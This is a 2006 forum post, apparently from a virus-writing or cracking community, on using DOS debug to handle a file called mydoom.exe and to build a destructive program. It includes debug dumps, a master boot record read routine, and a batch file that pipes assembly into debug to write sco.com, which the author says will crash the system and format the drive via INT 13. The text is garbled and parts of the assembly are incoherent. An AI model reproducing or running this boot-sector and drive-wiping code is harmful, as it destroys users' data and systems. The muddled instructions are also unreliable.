Gonzalez Posted September 19, 2006 Report Posted September 19, 2006 If you don't have material, toolz or ie connection and youwish to insert a good code (worm, virus trojan you know) and don't have your favoritetools you need know how you made that:take this action for your knowing and risk.if you need put:mydoom.exeyou made:debug mydoom.exe-rbxappear on screen the values for:AX=0006BX=0004CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000DS=0C1BES=0C1BSS=0C1BCS=0C1BIP=010A NV UP EI PL NZ NA PO NC0C1B:010A 0F DB oFthis values are the flags we need in first instance, before for touch a binary,remember always the existence for record protection on the flags and here is wherewe started:Made also a backup for our master boot record: C:> debug-aXXXX:100 mov ax,0201XXXX:103 mov bx,7c00XXXX:106 mov cx,1XXXX:109 mov dx,80XXXX:10C int 13XXXX:10E int 20XXXX:110-gProgram terminated normally-r cxCX XXXX:200-n a:sector.tbl-w 7c00Writing 00200 bytes-qThis is because under macrosoft windows NEVER we take for confidence our tasks todispatcher and the background subsystem administratorI here where we start made the "dump" for our mydoom exe code:If AX and CX are how the previous table our file don't pass for a datalink and is notadministred for a cryptography server and is there where we say: "is clear"we pass througth the dissasemble task:C:> debug mydoom.exe- dmydoom.exe C:>debug mydoom???? ?? ??????-d13AD:0100 4D 00 00 41 00 00 00 00-00 00 00 00 00 00 00 00 M..A............13AD:0110 43 4F 4D 53 50 45 43 3D-43 3A 5C 57 34 00 9C 13 COMSPEC=C:W4...13AD:0120 57 53 5C 53 59 53 54 45-4D 33 32 5C 43 4F 4D 4D WSSYSTEM32COMM13AD:0130 41 4E 44 2E 43 4F 4D 00-41 4C 4C 55 53 45 52 53 AND.COM.ALLUSERS13AD:0140 50 52 4F 46 49 4C 45 3D-43 3A 5C 44 4F 43 55 4D PROFILE=C:DOCUM13AD:0150 45 7E 31 5C 41 4C 4C 55-53 45 7E 31 00 41 50 50 E~1ALLUSE~1.APP13AD:0160 44 41 54 41 3D 43 3A 5C-44 4F 43 55 4D 45 7E 31 DATA=C:DOCUME~113AD:0170 5C 61 7A 72 61 65 6C 5C-41 50 50 4C 49 43 7E 31 azraelAPPLIC~1-d13AD:0180 00 43 4C 49 45 4E 54 4E-41 4D 45 3D 43 6F 6E 73 .CLIENTNAME=Cons13AD:0190 6F 6C 65 00 43 4F 4D 4D-4F 4E 50 52 4F 47 52 41 ole.COMMONPROGRA13AD:01A0 4D 46 49 4C 45 53 3D 43-3A 5C 50 52 4F 47 52 41 MFILES=C:PROGRA13AD:01B0 7E 31 5C 43 4F 4D 4D 4F-4E 7E 31 00 43 4F 4D 50 ~1COMMON~1.COMP13AD:01C0 55 54 45 52 4E 41 4D 45-3D 49 52 45 4E 49 43 56 UTERNAME=IRENICV13AD:01D0 53 00 48 4F 4D 45 44 52-49 56 45 3D 43 3A 00 48 S.HOMEDRIVE=C:.H13AD:01E0 4F 4D 45 50 41 54 48 3D-5C 00 49 4E 43 4C 55 44 OMEPATH=.INCLUD13AD:01F0 45 3D 44 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C E=D:Program Fil-We obtain a 1024 block each time we pusk a keyboard key (1024 or 256)Now if we need crash the system, its simple, perform a "useless" batch file: @echo offecho >$ n sco.comecho >$ a 1024echo >>$ XOR AX,AX ; exit to zero code and SSecho >>$ MOV SS,AX ; SS prepared on AXecho >>$ MOV SP,7C00 ; place the pointer to 0000:7C00echo >>$ STI ; enbable interruptsecho >>$ PUSH AX ; (AX=0)echo >>$ POP ES ; Cloack! Cloack! to extra pointerecho >>$ PUSH AX ; (AX=0) tester AGaINNecho >>$ POP DS ; Segments to zero codeecho >>$ CLD ; we must erase the address!!echo >>$ MOV SI,7C1B ; where we goecho >>$ MOV DI,061B ; al offset destination Fuck more BytESecho >>$ PUSH AX ; (AX) y (DI) in offsetecho >>$ PUSH DI ; this is dedicated to macrosoft 0000:061Becho >>$ MOV CX,FFFFF ; address and DI undocummentedecho >>$ MOV BP,07BE ; first entry for BP BT BSecho >>$ MOV CL,04 ; four ways extraecho >>$ CMP [BP+00],CH ; CH to 0echo >>$ JL 062E ; find the posibly mbr sectorecho >>$ JNZ 063A ; xD "Invalid partition table"echo >>$ ADD BP,+10 ;echo >>$ LOOP 0620 ;echo >>$ REP ; FuckinG AGaINN CX TimESecho >>$ MOVSB ; pop-pop-delta bytE per bytEecho >>$ RETF ; RETF to jumpecho >>$ INT 13 ; For FucKing FormaT drive fuckinGecho >>$ wecho >>$ qdebug <$ >nuldel $this example show how no need a useless tool, only we mind.THX 2 to AzRaEL[NuKE] high councilwww.crackenfind.net Quote